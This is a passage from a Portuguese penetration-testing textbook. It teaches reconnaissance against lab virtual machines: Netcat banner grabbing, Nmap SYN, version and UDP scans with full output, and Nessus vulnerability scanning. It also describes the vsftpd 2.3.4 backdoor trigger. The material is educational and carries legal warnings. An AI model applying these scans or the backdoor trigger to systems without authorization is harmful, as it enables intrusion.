Testes de invasão166 mais, e você não ajudará o seu cliente se desenvolver um exploit funcional para a melhor e mais recente vulnerabilidade do lado do servidor se eles não utilizarem o software vulnerável. Devemos descobrir quais sistemas estão ativos e com quais softwares podemos nos comunicar. Scanning manual de portas Por exemplo, no capítulo anterior, vimos que explorar a vulnerabilidade MS08-067 pode representar uma vitória fácil tanto para os invasores quanto para os pen- testers. Para usar esse exploit, precisamos encontrar um pacote Windows 2000, XP ou 2003 com um servidor SMB que não tenha o patch Microsoft MS08-067 disponível na rede. Podemos ter uma boa ideia da superfície de ataque na rede se mapearmos a extensão da rede e consultarmos os sistemas em busca de portas que estejam ouvindo. Podemos fazer isso manualmente ao nos conectarmos às portas com uma ferra- menta como o telnet ou o Netcat e registrar os resultados. Vamos usar o Netcat para efetuar a conexão com o computador Windows XP na porta 25, que é a porta default para o SMTP (Simple Mail Transfer Protocol). root@kali:~# nc -vv 192.168.20.10 25 nc: 192.168.20.10 (192.168.20.10) 25 [smtp] open nc: using stream socket nc: using buffer size 8192 nc: read 66 bytes from remote 220 bookxp SMTP Server SLmail 5.5.0.4433 Ready ESMTP spoken here nc: wrote 66 bytes to local Como podemos ver, o pacote Windows XP está executando um servidor SMTP na porta 25 . Depois de feita a conexão, o servidor SMTP se anunciou como SLMail version 5.5.0.4433. Agora tenha em mente que os administradores podem alterar banners como esse para que contenham qualquer informação, enviando invasores e pentesters em uma perseguição maluca, a fim de estudar vulnerabilidades de um produto que ainda não tenha sido implantado. Na maioria dos casos, porém, as versões em banners de software serão bastante precisas e somente a conexão com a porta e a visualização do banner proporcionarão um ponto de partida para a nossa pesquisa associada ao teste de invasão. Pesquisar a Web em busca de informações sobre SLMail version 5.5.0.4433 pode conduzir a alguns resultados interessantes.
167Capítulo 5 ■ Coleta de informações Por outro lado, conectar-se com todas as portas TCP e UDP possíveis em apenas um computador e observar os resultados pode exigir bastante tempo. Felizmente, os computadores são excelentes em tarefas repetitivas como essa e podemos usar ferramentas para scanning de portas como o Nmap para que ele descubra para nós quais portas estão ouvindo. N O T A Tudo o que fizemos até agora neste capítulo é totalmente legal. No entanto, quando começarmos a fazer consultas ativamente nos sistemas, estaremos nos movendo para um território legal obscuro. Tentar invadir computadores sem permissão, obviamente, é ilegal em vários países. Embora um tráfego discreto de scan possa passar despercebido, você deve exercitar as habilidades estudadas no restante deste capítulo (e no restante deste livro) somente em suas máquinas virtuais-alvo ou em outros sistemas que sejam seus ou você deve ter permissão por escrito para efetuar os testes (conhecido no negócio como cartão para “sair da cadeia livremente”). Scanning de portas com o Nmap O Nmap é um padrão do mercado para scanning de portas. Livros inteiros já foram escritos somente sobre o uso do Nmap, e a página do manual pode parecer um pouco desanimadora. Discutiremos o básico sobre o scanning de portas aqui e retornaremos a essa ferramenta nos capítulos posteriores. Os firewalls com sistemas de prevenção e detecção de invasão têm feito grandes progressos em detectar e bloquear tráfego de scan, portanto pode ser que você execute um scan com o Nmap e não obtenha resultado algum. Embora você possa ter sido contratado para executar um teste de invasão externo em uma fai- xa de endereços de rede sem hosts ativos, é mais provável que você esteja sendo bloqueado por um firewall. Por outro lado, os resultados de seu Nmap podem informar que todos os hosts estão ativos e que estão ouvindo todas as portas caso o seu scan seja detectado. Scan SYN Vamos começar pela execução de um scan SYN em nossas máquinas-alvo. Um scan SYN é um scan TCP que não finaliza o handshake TCP. Uma co- nexão TCP começa com um handshake de três vias (three-way handshake): SYN4SYN-ACK4ACK, como mostrado na figura 5.7.
Testes de invasão168 SYN SYN-ACK ACK Figura 5.7 – O handshake de três vias do TCP. Em um scan SYN, o Nmap envia o SYN e espera pelo SYN-ACK caso a porta esteja aberta, porém jamais envia o ACK para completar a conexão. Se o pacote SYN não receber nenhuma resposta SYN-ACK, a porta não estará disponível; ela estará fechada ou a conexão está sendo filtrada. Dessa maneira, o Nmap des- cobre se uma porta está aberta sem nem mesmo se conectar totalmente com o computador-alvo. A sintaxe para um scan SYN é representada pela flag -sS. A seguir, como você pode ver na listagem 5.6, especificamos o(s) endereço(s) IP ou a faixa a ser submetida ao scan. Por fim, usamos a opção –o para enviar os resultados do Nmap a um arquivo. A opção -oA diz ao Nmap para efetuar o log de nossos resultados em todos os formatos: : .nmap, .gnmap (greppable Nmap, ou Nmap que pode ser submetido ao grep) e XML. O formato Nmap, como a saída que o Nmap exibe na tela na listagem 5.6, é elegante e fácil de ser lido. O greppable Nmap (como indicado pelo nome) é formatado de modo a ser usado com o utilitário grep para pesquisar informações específicas. O formato XML corresponde a um padrão usado para importar resultados do Nmap em outras ferramentas. A listagem 5.6 mostra o resultados do scan SYN. N O T A É sempre uma boa ideia tomar notas detalhadas de tudo o que fizermos em nosso teste de invasão. Ferramentas como o Dradis foram projetadas especificamente para registrar dados de testes de invasão, porém, desde que você anote tudo o que foi feito, não haverá problemas quando chegar à fase de geração de relatórios. Pessoalmente, sou mais usuária de papel e caneta ou, no melhor caso, do tipo que cria um documento Word extenso contendo todos os meus resultados. Os métodos usados para registrar os resultados variam de pentester para pentester. Enviar os seus resultados do Nmap para arquivos é uma boa maneira de garantir que você terá um registro de seu scan. Além disso, você pode usar o script de comandos Linux para salvar tudo o que for exibido no terminal – outra boa maneira de registrar tudo o que você fizer.
169Capítulo 5 ■ Coleta de informações Listagem 5.6 – Executando um scan SYN com o Nmap root@kali:~# nmap -sS 192.168.20.10-12 -oA booknmap Starting Nmap 6.40 ( http://nmap.org ) at 2015-12-18 07:28 EST Nmap scan report for 192.168.20.10 Host is up (0.00056s latency). Not shown: 991 closed ports PORT STATE SERVICE 21/tcp open ftp 25/tcp open smtp 80/tcp open http 106/tcp open pop3pw 110/tcp open pop3 135/tcp open msrpc 139/tcp open netbios-ssn 443/tcp open https 445/tcp open microsoft-ds 1025/tcp open NFS-or-IIS 3306/tcp open mysql 5000/tcp open upnp MAC Address: 00:0C:29:A5:C1:24 (VMware) Nmap scan report for 192.168.20.11 Host is up (0.00031s latency). Not shown: 993 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http 111/tcp open rpcbind 139/tcp open netbios-ssn 445/tcp open microsoft-ds 2049/tcp open nfs MAC Address: 00:0C:29:FD:0E:40 (VMware) Nmap scan report for 192.168.20.12 Host is up (0.0014s latency). Not shown: 999 filtered ports PORT STATE SERVICE 80/tcp open http 135/tcp open msrpc MAC Address: 00:0C:29:62:D5:C8 (VMware) Nmap done: 3 IP addresses (3 hosts up) scanned in 1070.40 seconds
Testes de invasão170 Como você pode ver, o Nmap retorna um conjunto de portas dos sistemas Windows XP e Linux. À medida que prosseguirmos nos próximos capítulos, veremos que quase todas essas portas contêm vulnerabilidades. Espero que esse não seja o caso em seus testes de invasão, porém, em uma tentativa de apresentar os diversos tipos de vulnerabilidades que você possa encontrar em campo, nosso laboratório de testes de invasão foi condensado nessas três máquinas. Apesar do que foi dito, somente o fato de uma porta estar aberta não significa que haja vulnerabilidades presentes. Isso somente nos deixa com a possibilidade de que um software vulnerável poderá estar sendo executado nessas portas. Nossa máquina Windows 7 está ouvindo somente a porta 80 , que é a porta tradi- cional para servidores web HTTP, e a porta 139 para chamadas de procedimento remoto (Remote Procedure Call). Pode haver softwares passíveis de exploração ouvindo as portas bloqueadas pelo firewall do Windows, e pode haver softwares vulneráveis sendo executados localmente no computador, porém, no momento, não podemos tentar explorar nada diretamente pela rede, exceto o servidor web. Esse scan básico do Nmap já nos ajudou a focar nossos esforços de testes de invasão. Tanto os alvos Windows XP quanto Linux estão executando servidores FTP , servidores web e servidores SMB . A máquina Windows XP também está execu- tando um servidor de emails que abriu diversas portas e um servidor MySQL . Scan de versões O nosso scan SYN foi discreto, porém ele não nos deu muitas informações sobre os softwares que estão realmente sendo executados nas portas que estão ouvindo. Comparados com as informações detalhadas de versão que obtivemos ao efetuar a conexão com a porta 25 usando o Netcat, os resultados do scan SYN deixaram um pouco a desejar. Podemos usar um scan TCP completo (nmap -sT) ou podemos dar um passo além e usar o scan de versões do Nmap (nmap -sV) para obter mais dados. Com o scan de versões mostrado na listagem 5.7, o Nmap completa a conexão e, em seguida, tenta determinar quais softwares estão executando e, se possível, a versão, usando técnicas como o acesso aos banners. Listagem 5.7 – Executando um scan de versões com o Nmap root@kali:~# nmap -sV 192.168.20.10-12 -oA bookversionnmap Starting Nmap 6.40 ( http://nmap.org ) at 2015-12-18 08:29 EST Nmap scan report for 192.168.20.10 Host is up (0.00046s latency). Not shown: 991 closed ports
171Capítulo 5 ■ Coleta de informações PORT STATE SERVICE VERSION 21/tcp open ftp FileZilla ftpd 0.9.32 beta 25/tcp open smtp SLmail smtpd 5.5.0.4433 79/tcp open finger SLMail fingerd 80/tcp open http Apache httpd 2.2.12 ((Win32) DAV/2 mod_ssl/2.2.12 OpenSSL/0.9.8k mod_autoindex_color PHP/5.3.0 mod_perl/2.0.4 Perl/v5.10.0) 106/tcp open pop3pw SLMail pop3pw 110/tcp open pop3 BVRP Software SLMAIL pop3d 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn 443/tcp open ssl/http Apache httpd 2.2.12 ((Win32) DAV/2 mod_ssl/2.2.12 OpenSSL/0.9.8k mod_autoindex_color PHP/5.3.0 mod_perl/2.0.4 Perl/v5.10.0) 445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds 1025/tcp open msrpc Microsoft Windows RPC 3306/tcp open mysql MySQL (unauthorized) 5000/tcp open upnp Microsoft Windows UPnP MAC Address: 00:0C:29:A5:C1:24 (Vmware) Service Info: Host: georgia.com; OS: Windows; CPE: cpe:/o:microsoft:windows Nmap scan report for 192.168.20.11 Host is up (0.00065s latency). Not shown: 993 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 22/tcp open ssh OpenSSH 5.1p1 Debian 3ubuntu1 (protocol 2.0) 80/tcp open http Apache httpd 2.2.9 ((Ubuntu) PHP/5.2.6-2ubuntu4.6 with Suhosin-Patch) 111/tcp open rpcbind (rpcbind V2) 2 (rpc #100000) 139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) 2049/tcp open nfs (nfs V2-4) 2-4 (rpc #100003) MAC Address: 00:0C:29:FD:0E:40 (VMware) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:kernel Nmap scan report for 192.168.20.12 Host is up (0.0010s latency). Not shown: 999 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 7.5 135/tcp open msrpc Microsoft Windows RPC MAC Address: 00:0C:29:62:D5:C8 (VMware) Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 3 IP addresses (3 hosts up) scanned in 20.56 seconds
Testes de invasão172 Desta vez, obtivemos muito mais informações sobre os nossos alvos Windows XP e Linux. Por exemplo, sabíamos que havia um servidor FTP no Linux, porém agora temos uma garantia razoável de que o servidor FTP é o Very Secure FTP versão 2.3.4 . Usaremos esse resultado para procurar potenciais vulnerabilidades no próximo capítulo. Quanto ao nosso sistema Windows 7, descobrimos somente que ele está executando o Microsoft IIS 7.5, que é uma versão bastante atual. É possível instalar o IIS 8 no Windows 7, porém ele não é oficialmente suportado. A versão em si não dispara nenhum alerta vermelho para mim. Descobriremos que a aplicação instalada nesse servidor IIS é o verdadeiro problema no capítulo 14. N O T A Tenha em mente que o Nmap pode informar a versão incorreta em alguns casos (por exemplo, se o software foi atualizado, porém o banner de boas- vindas não foi alterado como parte do patch), mas, no mínimo, seu scan de versões nos deu um bom ponto de partida para dar início a novas pesquisas. Scans UDP Tanto os scans SYN quanto os scans de versão do Nmap são scans TCP, que não fazem consultas em portas UDP. Como o UDP não é orientado à conexão, a lógica do scanning é um pouco diferente. Em um scan UDP (-sU), o Nmap envia um pacote UDP a uma porta. De acordo com a porta, o pacote enviado é específico de um protocolo. Se uma resposta for recebida, a porta será considerada aberta. Se a porta estiver fechada, o Nmap receberá uma mensagem de Port Unreachable (Porta Inacessível) do ICMP. Se o Nmap não receber nenhuma resposta, então a porta está aberta e o programa que estiver ouvindo não responde à consulta do Nmap ou o tráfego está sendo filtrado. Desse modo, o Nmap nem sempre é capaz de fazer a distinção entre uma porta UDP aberta e uma que esteja sendo filtrada por um firewall. Veja a listagem 5.8, que tem um exemplo de scan UDP. Listagem 5.8 – Executando um scan UDP root@kali:~# nmap -sU 192.168.20.10-12 -oA bookudp Starting Nmap 6.40 ( http://nmap.org ) at 2015-12-18 08:39 EST Stats: 0:11:43 elapsed; 0 hosts completed (3 up), 3 undergoing UDP Scan UDP Scan Timing: About 89.42% done; ETC: 08:52 (0:01:23 remaining) Nmap scan report for 192.168.20.10 Host is up (0.00027s latency). Not shown: 990 closed ports PORT STATE SERVICE
173Capítulo 5 ■ Coleta de informações 69/udp open|filtered tftp 123/udp open ntp 135/udp open msrpc 137/udp open netbios-ns 138/udp open|filtered netbios-dgm 445/udp open|filtered microsoft-ds 500/udp open|filtered isakmp 1026/udp open win-rpc 1065/udp open|filtered syscomlan 1900/udp open|filtered upnp MAC Address: 00:0C:29:A5:C1:24 (VMware) Nmap scan report for 192.168.20.11 Host is up (0.00031s latency). Not shown: 994 closed ports PORT STATE SERVICE 68/udp open|filtered dhcpc 111/udp open rpcbind 137/udp open netbios-ns 138/udp open|filtered netbios-dgm 2049/udp open nfs 5353/udp open zeroconf MAC Address: 00:0C:29:FD:0E:40 (VMware) Nmap scan report for 192.168.20.12 Host is up (0.072s latency). Not shown: 999 open|filtered ports PORT STATE SERVICE 137/udp open netbios-ns MAC Address: 00:0C:29:62:D5:C8 (VMware) Nmap done: 3 IP addresses (3 hosts up) scanned in 1073.86 seconds Por exemplo, no sistema Windows XP, a porta TFTP (UDP 69) pode estar aberta ou pode estar sendo filtrada . No alvo Linux, o Nmap foi capaz de perceber que a porta do Network File System está ouvindo . Como somente duas portas TCP responderam no Windows 7, é razoável supor que um firewall está instalado, neste caso, o firewall embutido do Windows. De modo semelhante, o firewall do Windows está filtrando todo o tráfego, exceto para uma porta UDP. (Se o firewall do Windows não estivesse ativo, nosso scan UDP poderia ter nos dado mais informações.)
Testes de invasão174 Efetuando o scan de uma porta específica Por padrão, o Nmap efetua o scan somente das 1.000 portas que ele considera mais “interessantes”, e não das 65.535 portas TCP ou UDP possíveis. O scan default do Nmap identificará serviços comuns em execução, porém, em alguns casos, ele não identificará uma ou duas portas que estiverem ouvindo. Para efetuar scan de portas específicas, utilize a flag -p com o Nmap. Por exemplo, para efetuar o scan da porta 3232 no alvo Windows XP, veja a listagem 5.9. Listagem 5.9 – Executando um scan do Nmap em uma porta específica root@Kali:~# nmap -sS -p 3232 192.168.20.10 Starting Nmap 6.40 ( http://nmap.org ) at 2015-12-18 09:03 EST Nmap scan report for 192.168.20.10 Host is up (0.00031s latency). PORT STATE SERVICE 3232/tcp open unknown MAC Address: 00:0C:29:A5:C1:24 (VMware) Certamente, quando dissermos ao Nmap para efetuar o scan na porta 3232, ele retor- nará open, o que mostra que vale a pena verificar essa porta, além das portas default verificadas pelo scan do Nmap. Entretanto, se tentarmos sondar a porta de maneira um pouco mais agressiva com um scan de versões (veja a listagem 5.10), o serviço que estiver ouvindo essa porta causará uma falha, como mostrado na figura 5.8. Figura 5.8 – O servidor Zervit falha quando fazemos um scan com o Nmap.
175Capítulo 5 ■ Coleta de informações N O T A Uma boa regra geral consiste em especificar as portas de 1 a 65535 em seus testes de invasão, somente para garantir que não há nada ouvindo as portas que não são consideradas “interessantes”. Listagem 5.10 – Executando um scan de versões em uma porta específica root@kali:~# nmap -p 3232 -sV 192.168.20.10 Starting Nmap 6.40 ( http://nmap.org ) at 2015-04-28 10:19 EDT Nmap scan report for 192.168.20.10 Host is up (0.00031s latency). PORT STATE SERVICE VERSION 3232/tcp open unknown 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi : SF-Port3232-TCP:V=6.25%I=7%D=4/28%Time=517D2FFC%P=i686-pc-linux-gnu%r(GetR SF:equest,B8,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Zervit\x200\.4\r\nX-Pow SF:ered-By:\x20Carbono\r\nConnection:\x20close\r\nAccept-Ranges:\x20bytes\ SF:r\nContent-Type:\x20text/html\r\nContent-Length:\x2036\r\n\r\n<html>\r\ SF:n<body>\r\nhi\r\n</body>\r\n</html>"); MAC Address: 00:0C:29:13:FA:E3 (VMware) No processo que causou falhas no serviço que está ouvindo, o Nmap não conseguiu descobrir que software está executando, como mostrado em , porém conseguiu obter um fingerprint do serviço. De acordo com as tags HTML no fingerprint em , esse serviço parece ser um servidor web. De acordo com o campo Server:, é algo chamado Zervit 0.4 . Neste ponto, causamos uma falha no serviço e podemos jamais vê-lo novamente em nosso teste de invasão, portanto, qualquer vulnerabilidade em potencial po- derá ser questionável. É claro que em nosso laboratório podemos simplesmente alternar para o alvo Windows XP e reiniciar o servidor Zervit. N O T A Embora esperemos que você não vá causar nenhuma falha em um serviço em seus testes de invasão, há sempre uma possibilidade de você se deparar com um serviço particularmente sensível, que não tenha sido codificado para aceitar nada além dos dados de entrada esperados, de modo que até mesmo um tráfego aparentemente inofensivo como o de um scan do Nmap fará com que ele falhe. Sistemas SCADA são particularmente famosos por esse tipo de comportamento. Sempre explique isso ao seu cliente. Ao trabalhar com computadores, não há garantias.
Testes de invasão176 Retornaremos à ferramenta Nmap no próximo capítulo, quando usaremos o Nmap Scripting Engine (NSE) para conhecer informações detalhadas das vulnerabili- dades relacionadas aos sistemas-alvo antes de iniciarmos a exploração de falhas. Resumo Neste capítulo, conseguimos abranger diversos aspectos de forma rápida sim- plesmente usando fontes publicamente disponíveis de informações e scanners de porta. Usamos ferramentas como o theHarvester e o Maltego para vasculhar a Internet em busca de informações como endereços de email e sites. Usamos o scanner de portas Nmap para descobrir quais portas estão ouvindo em nossas máquinas virtuais-alvo. De acordo com o resultado descoberto, podemos agora realizar algumas pesquisas a respeito das vulnerabilidades conhecidas à medida que começamos a pensar como invasores e procurar vulnerabilidades que possam ser ativamente exploradas nos sistemas. No próximo capítulo, discutiremos a fase de análise de vulnerabilidades do teste de invasão.
177 capítulo 6 Descobrindo vulnerabilidades Antes de começarmos a lançar exploits, precisamos fazer um pouco mais de pesquisas e de análise. Quando identificamos vulnerabilidades, procuramos, de forma ativa, problemas que levarão a um comprometimento na fase de exploração de falhas. Embora algumas empresas de segurança executem somente uma ferra- menta automatizada de exploração de falhas e esperem pelo melhor, um estudo cuidadoso das vulnerabilidades feito por um pentester habilidoso proporcionará melhores resultados do que qualquer ferramenta por si só. Neste capítulo, analisaremos diversos métodos de análise de vulnerabilidades, incluindo o scanning automatizado, a análise focada e a pesquisa manual. Do scan de versões do Nmap à vulnerabilidade em potencial Agora que temos algumas informações sobre o nosso alvo e a superfície de ataque, podemos desenvolver cenários para atingir os objetivos de nosso teste de invasão. Por exemplo, o servidor FTP na porta 21 anunciou-se como sendo o Vsftpd 2.3.4. Vsftpd corresponde à abreviatura de Very Secure FTP. Podemos supor que um produto que se autodenomine very secure (muito seguro) está pedindo para ter problemas, e, de fato, em julho de 2011, veio à tona a notícia de que o repositório do Vsftpd havia sido invadido. Os binários do Vsftpd haviam sido substituídos por uma versão contendo um backdoor (porta dos fundos) que podia ser acionado com um nome de usuário contendo uma carinha sor- ridente :). Isso fazia com que um root shell fosse aberto na porta 6200. Depois que o problema foi descoberto, os binários com o backdoor foram removidos e o Vsftpd 2.3.4 oficial foi restaurado. Portanto, embora a presença do Vsftpd 2.3.4 não assegure que o nosso alvo seja vulnerável, definitivamente, é uma ameaça a ser considerada. O teste de invasão se torna mais fácil se pegarmos uma carona com um invasor que já tenha o controle de um sistema.
Testes de invasão178 Nessus O Nessus da Tenable Security é um dos scanners de vulnerabilidade comerciais mais amplamente usados, embora muitos fornecedores ofereçam produtos com- paráveis. O Nessus compartilha seu nome com um centauro que foi morto pelo herói mitológico grego Héracles, e cujo sangue posteriormente matou o próprio Héracles. O banco de dados do Nessus inclui vulnerabilidades em plataformas e protocolos, e o seu scanner realiza uma série de verificações para detectar proble- mas conhecidos. Você encontrará livros inteiros e cursos de treinamento dedicados ao Nessus e, à medida que se familiarizar mais com a ferramenta, descobrirá o que funciona melhor em seu caso. Oferecerei aqui somente uma discussão geral sobre o Nessus. O Nessus está disponível na forma de uma versão profissional paga que os pen- testers e as equipes internas de segurança podem usar para efetuar scans na rede em busca de vulnerabilidades. Você pode usar a versão gratuita, não comercial, chamada Nessus Home para tentar executar os exercícios presentes neste livro. O Nessus Home está limitado a efetuar o scanning de 16 endereços IP. (O Nessus não está pré-instalado no Kali, porém discutimos a sua instalação no capítulo 1.) Antes de poder executar o Nessus, é necessário iniciar o daemon do Nessus. Para isso, digite o comando service, como mostrado aqui, para iniciar a interface web do Nessus na porta TCP 8834. root@kali:~# service nessusd start Agora abra um navegador web e acesse o Nessus ao direcionar o navegador Iceweasel para o endereço https://kali:8834. (Se você quiser acessar a interface do Nessus a partir de outro sistema, por exemplo, o host, substitua kali pelo endereço IP do computador Kali.) Depois de alguns minutos de inicialização, você deverá ver uma tela de login, conforme mostrada na figura 6.1. Utilize as credenciais de login criadas no capítulo 1. Políticas do Nessus A interface web do Nessus contém diversas abas na parte superior da tela, como mostrado na figura 6.2. Vamos começar pela aba Policies (Políticas). As políticas do Nessus são como arquivos de configuração que dizem ao Nessus quais verificações de vulnerabilidades, scanners de porta e assim por diante devem ser executados no scan de vulnerabilidades.
179Capítulo 6 ■ Descobrindo vulnerabilidades Figura 6.1 – A tela de login da interface web do Nessus. Figura 6.2 – Políticas do Nessus. Para criar uma política, clique em New Policy (Nova política) à esquerda da interface do Nessus. Os assistentes de política do Nessus ajudarão a criar uma política que será produtiva para os objetivos de seu scanning, conforme mostrado na figura 6.3. Para o nosso exemplo simples, selecione Basic Network Scan (Scan básico de rede). Agora você será solicitado a fornecer algumas informações básicas sobre a política, como mostrado na figura 6.4, que incluem um nome, uma descrição e indicam se outros usuários do Nessus podem acessar a política. Depois que tiver concluído, clique em Next (Próximo). Agora uma pergunta será feita para saber se esse é um scan interno ou externo, como mostrado na figura 6.5. Selecione Internal (Interna) e clique em Next (Próximo).
Testes de invasão180 Figura 6.3 – Assistentes de políticas do Nessus. Figura 6.4 – Configuração de uma política básica.
181Capítulo 6 ■ Descobrindo vulnerabilidades Figura 6.5 – Scan interno ou externo. Se você tiver credenciais, o Nessus pode autenticar-se junto aos hosts e procurar vulnerabilidades que podem não estar aparentes do ponto de vista da rede. Esse recurso frequentemente é usado por equipes internas de segurança para testar a postura de suas redes quanto à segurança. Você pode definir essas credenciais no próximo passo, como mostrado na figura 6.6. Por enquanto, deixe esse passo em branco e clique em Save (Salvar). Figura 6.6 – Adicionando credenciais (opcional). Como mostrado na figura 6.7, nossa nova política agora está sendo exibida na aba Policies (Políticas).
Testes de invasão182 Figura 6.7 – Nossa política foi adicionada. Realizando um scanning com o Nessus Agora vamos alternar para a aba Scans e executar o Nessus em nossas máquinas- -alvo. Clique em Scans4New Scan (Scans4Novo Scan) e preencha as informações do scan, como mostrado na figura 6.8. O Nessus deve saber o nome de nosso scan (Name), qual política de scan deverá usar (Policy) e em quais sistemas deverá executar o scan (Targets). Figura 6.8 – Iniciando um scan no Nessus. O Nessus executa uma série de sondagens no alvo em uma tentativa de detectar ou de excluir o máximo possível de problemas. O scan em execução é adicionado à aba Scans, como mostrado na figura 6.9. Depois que o scan for concluído, clique nele para visualizar os resultados, con- forme mostrado na figura 6.10.
183Capítulo 6 ■ Descobrindo vulnerabilidades Figura 6.9 – Executando um scan com o Nessus. Figura 6.10 – Visão geral dos resultados. Como mostrado na figura, o Nessus descobriu diversas vulnerabilidades críticas nos alvos Windows XP e Ubuntu. Porém foram encontrados somente dados informativos no Windows 7. Para ver os detalhes de um host específico, clique nesse host. Os detalhes das vulnerabilidades do Windows XP estão sendo mostrados na figura 6.11. Figura 6.11 – O Nessus classifica e descreve seus resultados.
Testes de invasão184 Podem dizer o que quiserem sobre os scanners de vulnerabilidades, mas é difícil encontrar um produto que possa informar tanto sobre um ambiente-alvo tão rapidamente e com tão pouco esforço quanto o Nessus. Por exemplo, os resulta- dos do Nessus revelam que o nosso alvo Windows XP, de fato, não tem o patch MS08-067 discutido no capítulo 4. Parece também que outros patches Microsoft que afetam o servidor SMB estão ausentes. Que vulnerabilidade é a mais passível de exploração? A saída do Nessus para um problema em particular normalmente fornecerá algumas informações sobre o potencial de exploração desse problema. Por exemplo, ao clicar na vulnerabilidade MS08-067 na saída (figura 6.12), veremos que há código de exploit disponível para essa vulnerabilidade no Metasploit, bem como em outras ferramentas como o Core Impact e o Canvas. Figura 6.12 – A entrada para o MS08-067 no Nessus fornece informações detalhadas. Observação sobre as classificações do Nessus O Nessus classifica as vulnerabilidades de acordo com o CVSS (Common Vulnerability Scoring System), versão 2, do NIST (National Institute of Standards and Technology, ou Instituto Nacional de Padrões e Tecnologia). A classificação é calculada de acordo com o impacto causado no sistema caso o problema seja explorado. Embora quanto mais alta a classificação da vulnerabilidade, mais sério o Nessus ache que seja o problema da vulnerabilidade, o risco real de uma vulnerabilidade depende do ambiente. Por exemplo, o Nessus classifica o acesso anônimo ao FTP como uma vulnerabilidade de risco médio. Quando restrito a arquivos que não sejam críticos, porém, o acesso anônimo ao FTP pode apresentar um risco de baixo a inexistente. Por outro lado, já ouvimos falar de empresas que deixam cópias de seus códigos-fonte proprietários disponíveis em um servidor FTP
185Capítulo 6 ■ Descobrindo vulnerabilidades publicamente acessível. Se em um teste de invasão externo você puder acessar o patrimônio mais importante do cliente ao fazer login como anonymous (anônimo) em um servidor FTP, é seguro supor que qualquer invasor interessado poderá fazer o mesmo, e isso exige uma ligação imediata para o contato indicado pelo seu cliente. As ferramentas não são capazes de fazer esse tipo de distinção. Para isso é necessário um pentester. Por que usar scanners de vulnerabilidade? Embora alguns cursos de testes de invasão excluam totalmente o scanning de vulnerabilidades e argumentem que um pentester habilidoso pode descobrir tudo o que um scanner pode, os scanners continuam sendo ferramentas valiosas, especialmente porque muitos testes de invasão são realizados em uma janela de tempo menor do que qualquer um gostaria de ter. Porém, se um dos objetivos de sua avaliação for evitar a detecção, você deverá pensar duas vezes antes de usar um scanner indiscreto de vulnerabilidades. Embora o Nessus não tenha encontrado todos os problemas de nosso ambiente, o seu uso, em conjunto com os resultados de nossa fase de coleta de informações, proporcionou um ponto de partida sólido para a exploração de falhas. Mesmo os pentesters que achem que um pentester deve substituir um scanner durante as atividades de teste podem se beneficiar do conhecimento sobre o uso de ferramen- tas de scanning. Embora, em um mundo ideal, toda empresa deva realizar testes de invasão regulares, sem restrições, na realidade, há muito trabalho de scanning de vulnerabilidades a ser feito. Exportando os resultados do Nessus Depois que um scan com o Nessus for concluído, suas descobertas poderão ser exportadas por meio do botão Export (Exportar) na parte superior da tela de detalhes do scan, conforme mostrado na figura 6.13. O Nessus pode gerar resultados em formatos PDF, HTML, XML, CSV e outros. Pode ser que você queira entregar os resultados puros ao seu cliente em um contrato para realização de scanning de vulnerabilidades, porém você não deve jamais exportar os resultados do scanner, inserir um cabeçalho com o nome de sua empresa acima deles e chamá-los de resultados do teste de invasão. Muito mais análises estão envolvidas em um teste de invasão do que aquilo que é oferecido por um scan de vulnerabilidades. Verifique sempre os resultados de scanners
Testes de invasão186 automatizados e combine-os com uma análise manual para obter um quadro mais completo das vulnerabilidades do ambiente. Figura 6.13 – Exportando os resultados do scan feito com o Nessus. Agora vamos dar uma olhada em outros métodos de análise de vulnerabilidades. Pesquisando vulnerabilidades Se a página de resumo do Nessus não fornecer informações suficientes sobre uma vulnerabilidade, tente uma boa e velha pesquisa no Google. Além disso, procure fazer pesquisas em http://www.securityfocus.com/, http://www.packetstormsecurity.org/, http://www.exploit-db.org/ e http://www.cve.mitre.org/. Por exemplo, você pode procurar vulnerabilidades usando o sistema CVE (Common Vulnerabilities and Exposures, ou Vulnerabilidades e Exposições Comuns), o número do patch Microsoft e assim por diante em um site específico por meio de uma pesquisa no Google, por exemplo, “ms08-067 site:securityfocus.com”. A vulnerabilidade MS08-067 recebeu bastante atenção, portanto você encontrará boas informações em abundância. (Demos uma olhada nos detalhes desse problema em particular no capítulo 4.) De acordo com a sua vulnerabilidade, um código de exploit online também poderá ser encontrado para prova de conceito (proof-of-concept). Daremos uma olhada em como trabalhar com código público no capítulo 19, porém, considere- se avisado de que, de modo diferente dos exploits garantidos pela comunidade em um projeto como o Metasploit, nem todos os códigos que estão na Internet fazem o que dizem que fazem. O payload de um exploit público pode destruir o computador-alvo ou pode associar o seu computador ao botnet secreto do autor do exploit. Permaneça vigilante ao trabalhar com exploits públicos e analise-os cuidadosamente antes de executá-los em uma rede de produção. (Você também poderá encontrar informações detalhadas sobre algumas vulnerabilidades pos- tadas por pesquisadores que, originalmente, descobriram o problema.)
